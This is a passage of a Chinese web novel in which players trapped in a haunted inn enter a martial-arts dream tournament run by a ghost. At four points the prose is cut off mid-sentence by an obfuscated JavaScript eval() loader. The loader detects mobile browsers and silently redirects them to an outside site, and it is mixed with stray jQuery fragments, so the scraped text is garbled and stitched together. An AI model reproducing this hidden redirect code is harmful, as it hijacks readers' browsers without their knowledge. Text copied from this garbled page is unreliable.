范正昂听她这么说,更觉诧异,问:“那你干嘛还配合我撒谎?你那种说法,以蔡德那种莽夫性子,肯定是信了,难道你真不打算报仇了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13963897|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 俞小澄讪笑道:“蔡德的确会信,可他的脑子长在身体外。” “这是何意?”范正昂一开始只觉莫名其妙,可细细品味,又好像读出了其中含义,“你是指蔡德的两个小弟?” 俞小澄露出一抹意味深长的笑,说:“蔡德是傻子,那两人可不是,你说的话他们自然不可能相信,而我说的话,只会让他们更加确信我们在相互配合撒谎。” “那他们又为何最后没有选择吸烟室?” 范正昂还有些无法理解之处,在他看来,蔡德三人似乎是信了俞小澄的说辞,才会无奈选了房卡。 范正昂说话时,俞小澄不时朝猫眼里瞄一眼,似乎观察着屋外的情况。 “他们没选吗?我看未必。”俞小澄冷笑一声,“蔡德三人只拿了一张房卡。” 此话一出,范正昂终于意识到整件事的违和感在哪里。 如果那两小弟当真信了俞小澄的说辞,他们理应拿两张房卡,否则两张床,他们三人不好分配。 而之所以拿一张房卡,是因为他们一开始就没打算在房中过夜。 正在二人说话时,俞小澄听到了屋外开门声,她立刻朝猫眼看去,视野中果然出现蔡德三人的身影。 三人左顾右盼见走廊中没有人,随即交头接耳一阵,然后便蹑手蹑脚离开了房间,看前往的方向,正是电梯口。 “呵,鱼儿上钩了。” 俞小澄回过头,朝着范正昂狡黠一笑,脸上仿佛写着“奸计得逞”四个字。 范正昂微微皱起了眉头,反问道:“说起来,你又为何要便宜那三人呢?我们偷溜去占了吸烟室,让他们进幽兰梦境,不一样能惩罚他们吗?” “噗……”俞小澄捂着肚子笑出了声,“对,蔡德那两个精明小弟一定也觉得我们应该有这番打算,所以才相互配合演戏,为的就是骗其他人进入房间,而我们偷偷去吸烟室。” 范正昂见她一副满不在乎的样子,心中顿感疑惑,忍不住问道:“所以,你这么大费周章将他们骗去吸烟室究竟有何用意?莫非吸烟室不是安全区域?可你不是……” 不管是范正昂,还是蔡德三人,都知道俞小澄在吸烟室安全度过了一夜,并进入了雏菊梦境,这点毋庸置疑。 可他们并不知道吸烟室昨晚被旅店管理者修改了属性这条信息。 “我不过是拿那三人做个实验罢了,看看吸烟室是否真的安全。”俞小澄说罢打开了房门,下了逐客令,“行了,一切等明天醒来再谈不迟,我要休息了。” 范正昂虽不明白俞小澄究竟要做什么实验,但见她心意已决,没再多问,道了句晚安,便回了自己房间。 俞小澄难得心情大好,仿佛在这枯燥的旅店生活中,又找到了一分乐趣。 有一件事,她并没告诉范正昂,其实今夜之所以会出现全幽兰房卡的局面,亦是她的手笔。她特意花费十枚金币兑换了房型指定权限,为的就是诱导蔡德三人选择吸烟室。 她倒要看看,今晚旅店管理者会不会救蔡德三人,一切答案只等明早揭晓。 带着久违的期待,俞小澄进入了梦境,心中只想着速速解决这无聊的梦境,早些揭开自己感兴趣的谜题。 然而这一夜,却给了她更大的惊喜。 195. 梦境(八) 这次,俞小澄是被一根木棍敲醒的。 刚刚睁开眼的她一边捂着额头倒吸着凉气,一边冲打她的人递上仇视的眼神。 天刚蒙蒙亮,风中带着一丝凉意,群山环绕下,俞小澄正身处一座古色古香的山庄里,山中空气怡人,透着一股世外桃源的神秘气息。 此刻,俞小澄的四周站满了身穿古装的男男女女,瞬间将她烘托成了异类。 “不会吧……又来修仙这套?” 俞小澄心里犯起嘀咕,一想起过去折磨人的试炼就很是头疼。 “小师妹,平日散漫就算了,今日四大门派齐聚一堂,你莫要给我派丢脸。” 站在身旁的男人手握一根长棍,棍子直立在地上,正一脸恨铁不成钢的表情盯着俞小澄,小声提醒着,看样子似乎是同门师兄,方才敲俞小澄额头的也正是这位师兄。 俞小澄此刻才注意到,自己手中也握着一根长棍,身边的人几乎也是同样装束同样造型。 再往远眺,广场上站着的人整齐地排成四个方队,每个方阵人员服装各异,手中所拿武器亦不相同,俞小澄所在的方阵皆是持棍,另外三个方阵,有人握鞭,有人背剑,有人抱刀。 俞小澄趁机问道:“什么四大门派?大清早聚在这儿干嘛?又有妖族入侵了?” 接着她额头就又挨了一棍,旁边师兄低声骂道:“说什么胡话,还没睡醒呢?妖什么妖,是魔教!今日霁安门、德岙谷、碧暗宫的掌门和弟子到我顾恩派,为推举武林盟主,带领四大门派共议讨伐岐卬教之事,你清醒点,别给师门丢脸。” 师兄骂归骂,信息是一点都不少,俞小澄总算对这场梦境有了初步的认识。 这一次的主题,并非修仙除妖,而是江湖与武林。 “看来要为武林盟主争个你死我活了……行吧,我且抢个武林盟主来玩玩。” 俞小澄盯着手中的木棍,一边摇头一边低声感叹道。 一个不留神,身旁的棍子又往她额头上招呼,幸好她反应快,及时用棍子阻挡。 奈何,挡住了棍子,没挡住师兄的手掌,后脑勺又结实挨了一巴掌。 俞小澄正气恼这梦境的NPC攻击欲望过高,就听身旁师兄讥笑道:“就你这三脚猫功夫还妄图当武林盟主,白日做梦!我们的任务,是辅助掌门和师兄师姐们,一同对抗魔教!” 听师兄这么说,俞小澄猜测此次玩家大概率分为正邪两派,于是又环顾四周,寻找起玩家的身影。 她记得除了范正昂和偷偷前往吸烟室的蔡德三人,旅店里还有八位玩家,虽记不清长相,但要在一堆古装打扮的人中寻找现代装扮的人,没有一点难度。 因此,她很快就确定了住客的分布情况。 但令她惊讶的是包括她与范正昂在内的十人,全都站在这块空地上,只是分散在不同门派中。 范正昂站在隔壁背剑的队伍中,剩余八位住客基本被均等地分配到了四大门派之中。 这种情况显然与俞小澄预想的不一样,她不太明白为何这次没有人被分配进敌对阵营,如此一来,所有住客都可以协力合作,又岂会遂了恶灵想让玩家自相残杀的心愿呢? 百思不得其解之际,俞小澄看见人群正对的屋子里陆续走出四个人,分别穿着各门派的弟子服,似乎是房间里议事的掌门有了新的指示,便差弟子出来传达。 那四人各自到了相应门派队伍前,而站到俞小澄所在队列最前方的人看上去异常眼熟。 那人虽一身玄色长袍,长发以素色发带束起,俨然一副武林侠客模样,但那人的容貌,俞小澄细看片刻便认了出来,正是她寻找已久的曾勇。 他依旧保持着印象中的样子,身材壮硕,一脸正气,与梦境中的侠客形象倒是有几分贴合。 俞小澄没想到就这么偶然撞进了曾勇的梦境中,更让她难以相信的是曾勇竟创造出了幽兰梦境。 曾勇究竟有怎样的过去? 又是什么执念令他被划分成为幽兰等级的恶灵? 俞小澄很是好奇,她根本无法将这样的曾勇与曾经舍身助人的形象联系到一起。 最简单粗暴的解疑办法,其实就是现在召唤进宝附身,然后一口吃掉曾勇,借此获取曾勇的记忆,一切便水落石出了。 可俞小澄并不想这么做,她总希望能找到消灭恶灵的道具,再给他一次自我证明的机会。 因此,即便她认出曾勇,还是忍住了叫出他名字的冲动,化为恶灵的曾勇早已失去对旅店住客的记忆,如今她喊出那个名字,只等于告诉恶灵:“你的身份已经被我看穿了!”恶灵立刻会为逃避而发动自身技能。 俞小澄不想打草惊蛇,只得按住躁动不已的心,安静观察起故事的发展,寻找着有关这场梦境的潜在逻辑,那便是基于恶灵执念创造出来的梦境规则。 曾勇在梦境中的身份,乃顾恩派大师兄,是顾恩派掌门的亲传弟子,未来门派继承人。 “接下来三日,四大门派弟子将进行多轮比试,最终获胜弟子最多的门派,可推举门派掌门作为武林盟主,统领四大门派一同歼灭魔教,而表现最优秀的弟子可获得前任武林盟主留下的绝世宝剑。”曾师兄简单转达着一众掌门商议的结果。 在俞小澄听来,妥妥的恶灵讲解游戏规则。 这还是她第一回,一进入梦境,规则还不清楚,就先把恶灵给找出来了。 此时,与俞小澄同门派的另一个住客举手问道:“请问要我们比试什么?不会有危险吧?” 说话的是个女生,高高瘦瘦,一副很健谈的模样,身旁还站着个十分沉默的男人,与高瘦女子十指相扣,看上去应该是对热恋中的情侣。 曾师兄听了高瘦女子的提问,十分配合地回答:“四大门派弟子间友好切磋罢了,同门互助,定可克服一切难关!” 高瘦女子呼了口气,与沉默男人相视一笑。 俞小澄则一脸狐疑地盯着曾勇,心想:如果竞争关系不在正邪两派,那么就只能在四大门派之间,那又怎么可能只是友好的切磋呢? 如此思考着,俞小澄偷偷问身旁的师兄:“四大门派之间不会有什么不为人知的仇怨吧?” 师兄露出一丝高深莫测的笑,道:“小师妹一到正事就打瞌睡,一提这些俗事倒是来了精神。你别说,我们四大门派本就在天下第一这件事上明争暗斗数年,互看不顺眼,若非江湖上突然出现岐卬教这个鱼肉百姓的魔教,四大门派怎么可能携手共进!” 这一刻,俞小澄心中明了,这所谓的友好切磋,必定会搞出幺蛾子。 曾师兄继续开口讲解:“今后的每一场比试,都将组队进行,大家可以先自行组成五人小队。” “啊?不是单人比试吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977273|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “对啊,组队比试,那最后胜者的奖励如何分?不好吧……” 曾师兄话音刚落,人群中立马出现质疑的声音,强者自然希望以一己之力拔得头筹。组队进行比试,存在或多或少的问题,比如最终对于胜者的判定,奖品的归属,还有队伍对自己成绩的影响等。 “这正是此次比试最重要的一环,各位掌门想要考验的,是弟子之间的协作能力,毕竟我们将一致对外,铲除魔教。互帮互助,获得最终的胜利,这才是掌门希望看到的景象。” 曾师兄义正言辞地说道,“每场比试,五人小队中有三人胜出,则全队可进入下一场比试,反之,淘汰出局。” “淘汰出局”这四个字犹如一盆冷水泼在了俞小澄头上,她缓缓举起手来,小心问道:“淘汰出局的人会怎样?” 这四个字在梦境中就好比一种禁忌,沾上必不会有好结果。 曾师兄冲她笑了笑,语气轻松地回答:“淘汰了自然就不能参加后面的比试,更没法赢得最终的荣誉,既然落败,说明修行还不够,掌门会安排出局的弟子到后山闭关练功,直至比试结束。” 听上去似乎很是平常,并无生命危险,可俞小澄总感觉有猫腻。 在回答完俞小澄的问题后,曾师兄继续有关比试规则的话题:“每次比试,个人的成败会被记录下来,最终取得胜利的队伍中,分数最高的弟子,将被视为表现最优秀的弟子,赢得胜者的奖励。” 一切规则似乎清晰明了起来,这场游戏,不仅是考验个人的实战能力,还要考验团队合作能力,因此,和哪些人组队成为了获胜的关键。 高瘦女子又问道:“所有人都必须参加比试吗?” 曾师兄点点头:“这场比试亦是为之后进攻魔教做准备,是对弟子实力的考核。不愿参加的弟子,需到后山闭关练功,直到比试结束。谁不愿参加,现在就可告知我。” 高瘦女子面露难色,不管是比试,还是闭关练功,都不像能轻易了事。她与沉默男子低头耳语片刻,最终还是留在了人群中。 随即,人群中议论声渐起,每个门派都进入了自由组队环节。 对于NPC来说,谁强谁弱,他们自然心知肚明,很快便开始拉帮结派,而玩家被默认为弱者,除了跟玩家一样弱的NPC,没有人愿意招揽玩家进入自己的队伍。 毕竟,为了最终的胜利,谁都不希望自己的队伍中有短板。 但也不能找比自己强太多的人,否则自己注定成为陪跑的那个。 在这些NPC眼中,对他们最有利的组合就是一个强者带三到四个弱者,那么直接就随队伍淘汰了,也就没人能跟他们竞争了。 因此,俞小澄发现,堂堂恶灵被弟子们孤立了。 高瘦女子和沉默男人看了一圈,最终视线落在了俞小澄头上,男人的表情一万个不愿意,不管怎么说,俞小澄在其他住客眼中都是孤僻、不易亲近的存在,要找她合作,大概率是热脸贴上冷屁股。 高瘦女子好说歹说,拉着一脸不情愿的沉默男人来到了俞小澄面前,邀请俞小澄加入他们的队伍,而后,他们只需要再找两个愿意加入他们的NPC,便算完成了第一步。 至于这队伍是否靠谱,他们根本无暇考虑。 俞小澄没有拒绝二人的组队邀请,但作为条件,俞小澄要亲自挑选剩余两位队友。 196. 梦境(八) 俞小澄没有找其他NPC,径直走到了曾师兄面前,装作一副惨遭排挤的可怜模样,细声问曾师兄是否能带带武艺不精的师弟师妹。 曾师兄助人为乐的性格丝毫未变,一口便应了下来。 俞小澄听到周围窃窃私语,都在嘲笑曾师兄傻,带三只弱鸡,恐怕第一轮就要陪这三个毫无实力的新弟子去后山闭关练功了。 当然,这种结果正合他们心意,讪笑间尽显幸灾乐祸之意。 按照高瘦女子和沉默男人的想法,他们应该再找一个高手保驾护航,这样能提高他们这队闯关的胜率,可俞小澄没有理会他们的提议,而是转头问曾师兄,可否拉其他门派的弟子入队。 曾师兄没想到会有人问出这种问题,愣了愣神,随即应道:“从原则上来说,本次比试并没有要求只能本门弟子组队,跨门派当然也可以。反正最终是按照个人获胜分数来决定最终胜者,而武林盟主也是根据获胜弟子的人数多少来决定。” 俞小澄听出曾师兄的言下之意,如果她不介意最终可能为他人做嫁衣的话,拉其他门派的弟子入队也没有关系。 可曾师兄不知道的是,这个顾虑对俞小澄而言,根本无足轻重。 高瘦女子听到俞小澄的提问,心中疑惑她想拉谁入伙。 俞小澄便朝着隔壁正苦苦寻找队友无果的范正昂挥了挥手,如同招小弟一般将人招至自己面前。 此时五人小队集结完毕,只是除了俞小澄,其余四人全是一脸茫然。 曾师兄:“呃……我一个人获胜可无法进入下一场比试……” 高瘦女子:“如果你想去闭关,可以直接弃权,不必拉上我们。” 范正昂:“我们这样的阵容是准备去后山?” 俞小澄一脸的不以为意,故意装出心疼师兄的样子,矫揉造作地问道:“如果我们都输了,曾师兄可如何是好啊?” 曾师兄并未表现出过多担忧无法晋级的情绪,反而柔声安慰:“没关系,不管是赢得比试胜利,还是落败去后山闭关,最终的目的都是为了打败魔教,匡扶正义。” 俞小澄总试图从曾师兄的话语中探听出整场梦境的底层逻辑,方才的这句话,至少可以推测出一点——比试的输赢并不决定玩家的生死。 恶灵既不介意留在赛场,也不介意转战后山,说明恶灵的陷阱在两边都可能会触发。 “曾师兄觉得最重要的是什么?”俞小澄继续试探。 曾师兄坦然答道:“邪不胜正,善恶有报。” 看着曾师兄一脸正气的模样,再听着他这些无可厚非的天真想法,俞小澄实在想象不出他为何会被判定为有罪。 不过,此刻俞小澄暂时还顾不上思考更多,因为曾师兄的这句回答,不仅没有答疑解惑,而且给她平白增添了更多困惑。从这句话中,俞小澄猜不出规则,也想不出记忆之门的钥匙会藏在哪里。 很快,各门派弟子分好了队,而广场上的擂台已经摆好。 四大门派的掌门坐在高台上,主持着这场奇怪的比试。 比试的第一场,乃兵器的比拼,规则却很怪异,由比试双方分别为对方挑选兵器,然后上擂台过招,比试至一方倒地认输或摔出擂台为止。 擂台的两端,搭起了两个小帐篷,帐篷内放着各类兵器。两队弟子分别进入帐内,依次为对方挑选兵器,待五人的兵器挑选完毕,比试双方交换场地,拿取对方为自己挑选的兵器应战。 于是,这场比试出现了许多滑稽场面。 既然兵器由对方决定,那竭尽全力削弱对方在兵器上占的优势,几乎是每个对自己的实力没有信心的人必做之事。 因此,擂台上偶尔会出现茶杯对石子、剑穗对布条、头发丝对布鞋等离谱对战场面。 当然,也有对自己的武功信心十足,不屑于在兵器上动手脚的弟子,可对面应战之人的人品就不好说了,有时或许是一场高手之间酣畅淋漓的对决,有时也可能是一场高手与小人之间博弈。 甚至中间还出现了使诈下毒的卑鄙小人。 这场擂台赛的规则本是点到为止,可难免还是出现了双方互不认输,最终发展成死斗局面的情况。 作为裁判的四大门派掌门似乎对此视而不见,因此曾师兄口中所谓的“弟子间友好切磋”便成了个笑话。 高瘦女子看着台上负伤的弟子,向曾师兄询问:“师兄不是说没有危险吗?” 这次曾师兄只能无奈地憨笑两声,回答:“绝不会有死伤。” 恰好此时有弟子不早不晚地吼了起来:“不好了,小师弟毒发身亡了!” 场面一度乱成一锅粥,此前下毒的弟子成了众矢之的,损失了弟子的门派气得跟对方门派打了起来。 最终还是两派掌门出面平息了骚乱,可下毒的弟子并没有被惩治,反而拿下获胜的分数,两派掌门只评了四个字——学艺不精。 这下,两派弟子矛盾激化,之后的比试中一旦相遇,必是一场生死对决。 看着这场原本只是小打小闹的比试,升级到了相互仇视报复的境地,俞小澄偷偷观察着曾勇的神情,不知这是否就是身为恶灵的他想要的结果。 曾师兄全程表现得很淡定,就像不管别人是否违规,都与他无关一样。 要不是俞小澄认识曾勇这个人,知道他很早以前就在梦境中丧生,恐怕很难看出他就是本场梦境的恶灵。 这样的比试,在俞小澄看来,根本折磨不了住客,因为大家都有自知之明,只要确定输赢不危及生命,就没人会为了获胜而拼命。 正因如此,前面参加了比试的住客,大部分刚出场就立马跪地认输,只有少数几人,或智取,或凭运气,或靠武力,赢得了胜利。 至于认输那些人,有的因为队伍中有三个获胜的NPC而赢得下场比试的机会,有的则因为未达到晋级条件而惨遭淘汰。 可是,不管晋级还是淘汰,所有人都安然无恙。 一个时辰后,终于轮到了俞小澄的队伍上场。 “霁安门号称天下第一剑,德岙谷以刀法闻名江湖,碧暗宫最擅长使鞭,而我派的棍法与三派齐名。这次与我们比试的弟子来自霁安门,若要取胜,兴许你们可以避开选剑。” 在开始为对手挑选兵器前,曾师兄将四人聚到帐篷前,小声地介绍着对手的相关信息,并安排了上场的次序。 对于他们这队的战力而言,其实并没什么安排战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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俞小澄第四个进入帐篷,帐内四周堆满了各式各样的兵器,正中央摆着一张长桌,桌上整齐放着五个红木都承盘,前三个已经放了东西,只有后面两个还空着。 第一个都承盘中放着一把宝剑,一看便知是曾师兄的正人君子行为。 第二个都承盘中放着两根布条,看样子,范正昂是做好了赤手空拳对决的打算。 第三个都承盘中放着一枚金币,不知沉默男人是想讲和,还是想贿赂对手。 “姐姐,你打算放什么?” 进宝坐在俞小澄肩上,一脸好奇地四下张望,仿佛在帮俞小澄挑选着趁手的兵器。 “要不给他一把土吧?”招财从帐篷外飞了进来,手里正抓着一把土,嘴里骂骂咧咧,“对面给你放了一朵花,摆明了暗示姐姐是花瓶,就等着看姐姐笑话喃。” 招财早早地飞到了对面帐篷,将对面的情况探了个遍。 俞小澄听了招财的话,不气也不恼,抿嘴微笑着,从武器架上选了一把宝剑,放到了第四个都承盘上。 197. 梦境(八) 等到兵器选择完毕,这场擂台比试正式开始。 第一个上场的是曾师兄,他拿着对方挑选的鞭子走到了擂台上,而对方则拿着他挑选的宝剑。 曾师兄讲武德,选了对方擅长的兵器,可对方就没这么好心了,虽说没有离谱到什么兵器都不给,但鞭子明显并未曾师兄所长。 可惜,在绝对的实力面前,任何的小心思都是无用功,曾师兄轻松用不擅长的鞭子击败了用着趁手兵器的霁安门弟子,全场瞬间爆发出欢呼与掌声。 这是对强者的认可,也是对曾师兄武德的赞扬。 第一场比试就这么毫无悬念地取得了胜利。 第二个登场的是范正昂,他给对方扔了两根布条,而他自己此刻手掌上也绑着两根布条,从一开始他就打算用拳头战胜对方。 不过对方也不是省油的灯,给范正昂挑选的兵器是一片树叶。 范正昂便将这片树叶绑在了手背上,也算是用对手挑选的“兵器”击败对手。 这些NPC都有些真功夫,即便没有使用最擅长的兵器,可拳脚功夫也不弱,与范正昂打得有来有回。 俞小澄险些以为这场武林比试变成了职业拳赛,看得人血液沸腾。 最终,范正昂以微弱优势取得了第二场胜利。 前两场刀剑无眼、拳拳到肉的真实比拼,让沉默男人面色铁青,高瘦女子低声劝他上台就认输,为了虚无的胜利而拼命,二人都觉得不值得。 考虑再三后,沉默男人本打算上台就跪地认输,可当他看到对面给自己挑选了一根木棍后,他又觉得自己行了。 于是第三场比试迎来了木棍与金币的对决。 当沉默男人和高瘦女子沉浸于对胜利的幻想中时,俞小澄已经预测到了比试的结果。 “傻子,木棍可是顾恩派弟子最擅长的兵器,敢将木棍送到你手里,足见对手的自信,你撞上高手了啊……”俞小澄喃喃自语。 果不其然,正如俞小澄猜测,擂台上,指间夹着一枚金币的弟子全程从容应对沉默男人毫无章法的棍式,举手投足间尽显武林高手的英姿。 不出三招,那弟子便轻松将沉默男人扔出了擂台。 招财乐呵呵地对俞小澄说:“方才我听对面聊天才知,台上那名弟子是霁安门的大师兄。” 台下,沉默男人正扶着腰哀嚎,高瘦女子一脸心疼地冲了过去。 接着,便轮到俞小澄上场了。 俞小澄叹了口气,从帐篷里拿出那朵她早已知晓的小白花,漫不经心地朝擂台上走去。 范正昂紧张地看着她,她的胜败似乎已经决定了他们这组人最终是晋级还是禁闭。能否晋级倒是其次,在无法提前认输的情况下,范正昂担心俞小澄会受伤,这可能直接影响她此后对付恶灵。 当俞小澄举着一朵小白花走上擂台时,对面的男人抱着一把宝剑出现在观众视野里,此刻男人可笑不出来,正羞得面红耳赤。 他做梦也没想到俞小澄会送上最趁手的兵器,如此一来,倒显得他这个人有些没品。 台下观众立刻嘘声一片,对他这种懦夫行径表示抗议。 原本是想羞辱对手,影射俞小澄是个没有真功夫的花瓶,结果最后反被俞小澄将了一军,此刻那名弟子羞愤难当,恨不得撕碎俞小澄。 “哼,你且得意这一时半会儿,待会儿我让你哭着求饶!” 这种情况下,那名弟子不敢拔剑出鞘,只能连着剑鞘一同举起,对准俞小澄,放起狠话。 俞小澄轻轻扫了一眼对手,然后将视线落回了手里的小白花上,扯下一片花瓣,随手往空中一扔,脸上带着诡异的笑。 “你怎么知道我擅长的兵器是花呢?” 对面的人一脸茫然地盯着俞小澄手上的动作,将信将疑道:“你少虚张声势,你们顾恩派只会棍法,拿朵花你能干嘛?” “哦?你没听说过江湖中有人能将花草树叶化为暗器,杀人于无形吗?”俞小澄故意装出一副高深莫测的模样,“我不擅本门棍法,偏对这暗器手法无师自通。” “糊弄谁呢!我从没听说过江湖上有此等高手!”那名弟子只觉俞小澄危言耸听,不欲多费口舌,摆出架势,就要向俞小澄出手。 俞小澄心中慌得不行,表面还要维持平静,她掐下一片花瓣,朝着那名弟子的方向扔去。 只见花瓣弯弯扭扭地向下飘落,突然在半空中停顿,然后以一种诡异的姿态,径直冲向了那名弟子。 吓得那人连连后退,可后退速度远不及花瓣前进速度,很快花瓣便到了身前。 那弟子急忙举剑阻挡,眼疾手快地挡在了花瓣行径路线上,下一秒,花瓣贴在了剑鞘上,然后剑鞘仿佛失了控,竟转了个弯往他脸上撞。 这一撞将那名弟子撞得毛骨悚然,仿佛见鬼了一样。 “怎么样?这下你相信了吗?现在认输还来得及,我且留你一条小命。”俞小澄讪笑道。 那弟子原地转了一圈,什么鬼影子都没看到,心中有些发怵,仍要嘴硬道:“你、你使的什么花招?” 见他还不认输,俞小澄又扯下一片花瓣,轻轻一松手,那花瓣浮在空中没有下落,径直又往对面飞去。 这次花瓣贴上剑鞘,剑身自动出鞘,闪着寒光就朝弟子脖子砍去。 那弟子立刻吓得跪地求饶。 在他说出认输两个字后,剑身哐当一声落在了地上。 俞小澄心满意足地走下了擂台。 台下一片寂静,谁都不知道究竟发生了什么事,只觉莫名其妙有一方就认输了。 除了范正昂,所有人看向俞小澄的眼神都充满疑惑,其中曾师兄的眼神中还多了一丝忌惮。 俞小澄故意试探道:“曾师兄怎么了?” 曾师兄笑得有些勉强:“呵呵,我只是在想,小师妹这身奇怪的功夫都是从哪儿学来的?” 俞小澄强装出一副人畜无害的表情,信口胡诌道:“其实在入顾恩派学武前,我曾上仙门学过点法术。” 曾师兄沉默了,范正昂掩嘴偷笑。 不过曾师兄没有别的反应,看样子似乎是将她这些花招默认为道具效果,因此没有继续追问下去。 因为俞小澄这匹黑马意外获胜,他们这一队便取得了晋级下场比试的机会,但最后一场比试还是需要走个过场。 高瘦女子甚至没有进入帐篷里查看对方究竟为自己挑选了哪种兵器,径直走上了擂台,面对手中执剑的对手,她想都没想就跪地认输了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001415|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她的举动毫无悬念,从她为对方选了剑做武器这件事上,就已经可以看出她一开始就打算认输,根本没想过要与对方一决高低。 至此,俞小澄这一队的比试落下了帷幕。 整场比试游戏持续到了午时,俞小澄感觉有些意外,除了运气不好时可能会受点轻伤,比如像沉默男人那般自以为是的情况,这几乎是长久以来首次无玩家死亡的安全游戏。 这让俞小澄更对曾勇制定的梦境规则产生好奇。 这场梦境处处透露着不同寻常的气息,并非它危险,相反,是它太过惬意。 上午那场比试结束后,他们安心地吃了午饭,没有陷阱,没有谜题。 午后也没有安排另外的比试,而是自由活动时间。上午遭淘汰的弟子跟顾恩派掌门去后山闭关,晋级弟子则留在山庄里,自愿交流切磋。 这所谓的交流切磋实则暗藏金币任务,俞小澄本是想打听关于此梦境的规则,结果意外接到了金币任务。 至于任务的内容,听上去总让人感觉怪怪的,有人希望她帮忙除掉比试中的有利竞争者,有人希望她的队伍能够配合打假赛,有人单纯有私仇想要她帮忙报仇…… 每个任务都有5枚金币作为报酬,感觉其丰厚程度堪称玩家的银行,只要不在意自己做的事是否违背良心,便可以大赚一笔。 俞小澄原本挺乐意做金币任务,可听了这些任务后,眉头不由得皱了起来。 范正昂、高瘦女子和沉默男子都同意接下打假赛的任务,这样他们下一场比试就有借口顺理成章地认输,不必像今天这般拼尽全力,还能赚得5枚金币。 可惜俞小澄不同意,范正昂又一切都听俞小澄指示,剩下两人就是想认输也没辙,只得无奈放弃这个金币任务。 不过,在得知金币任务的同时,俞小澄又听说了一件有意思的事——据说此次四大门派集结,魔教派人潜入其中,试图瓦解四大门派之间的合作。 终于有了点熟悉的味道,俞小澄预测又会出现策反玩家改变阵营的戏码。 这一天在无数难解的谜题与令人费解的风平浪静中结束了,各门派弟子被安排到不同厢房休息。 夜晚就此降临。 俞小澄躺在十人大通铺房中,警惕着随时可能发生的异变,丝毫不敢安心睡去。 可这一夜,没有任何风吹草动的迹象,俞小澄甚至怀疑自己是不是进错了梦境,这种悠闲的程度,就算有人告诉她这是雏菊梦境,她都可能会相信。 直到午夜十二点来临,山庄内响起一阵激昂的鼓声,仿佛是战鼓在宣布一场大战即将开始。 原本应该在震惊中陡然起身,可俞小澄的身体仿佛不受大脑控制,一股倦意顷刻之间席卷全身,连清醒的大脑也随之沉沦。 俞小澄莫名其妙陷入了沉睡,等到再次清醒时,窗外的天已经微微泛白。 昨夜的鼓声仿佛只是一场梦,可等她找到范正昂一问才知,听到那鼓声的人并非她一个人。 几乎所有门派弟子都听到了夜里突然出现的鼓声,然后就莫名陷入了沉睡。 谁也不知道那鼓声的出现意味着什么。 但是,没过一会儿,所有人都意识到,昨晚山庄内出了大事。 198. 梦境(八) 原来,昨夜有不少弟子失踪了。 没有人知道究竟是如何失踪的,只是早上醒来,感觉身旁少了人,四处寻找无果,才渐渐意识到,人就这么凭空消失了。 许多队伍都有一两人失踪,甚至连后山都传来消息,进去闭关的弟子同样消失了几个。 俞小澄所在的队伍恰好就在有人失踪的行列之中,至于那个失踪的人,正是高瘦女子。 因为男女弟子住在不同的厢房,所以高瘦女子和沉默男人被迫分开,今早沉默男人去找高瘦女子时,发现人不在房中,问了一圈,没有一人知道她去了哪儿,又是何时离开房间的。 沉默男人在山庄里前前后后找了许久,始终不见高瘦女子的身影,按理说,女朋友不可能独自离开山庄,于是沉默男子便报了失踪。 对于门派弟子失踪之事,门派给出的解释是被魔教掳走了,此后也再无救人的计划。 俞小澄是半点都不信,直觉告诉她,这些人大概率是没了,恐怕昨晚违反了某项梦境规则,可是什么规则,她暂时搞不清楚。 弟子失踪的骚乱很快就平息了,除了失去亲近之人的住客,比如沉默男人,没有人再关心失踪人的死活。 新一天的比试又开始了。 即使有的队伍不足五人,也丝毫没有影响这场比试游戏的进行。 今日比试的内容与昨日有所不同,不再是一对一比试,而是团体比赛。 比试的主题是寻宝,所有参赛者都将进入山谷寻找门派掌门藏匿于山中的宝物,找到宝物并成功带回山庄的队伍,便可晋级下一场比试。反之,则需到后山闭关练功。 与上场比试的差异在于,此次队伍中能拿到获胜分数的只有一人,即最终手拿宝物之人。 山中宝物有限,先到先得。 看似是队伍之间的竞争,实则还隐藏着一层队伍内部的竞争,特别是队友都想冲击优秀弟子荣誉的队伍。 俞小澄这一组似乎不存在这个问题,因为住客在意的只是如何通关梦境,对于争夺门派优秀弟子毫无兴趣。 除非有人突然跳出来告诉所有住客,只有成为门派优秀弟子的人,才能在梦境中存活。否则,俞小澄感觉不会有住客真为这种虚无的头衔而拼搏。 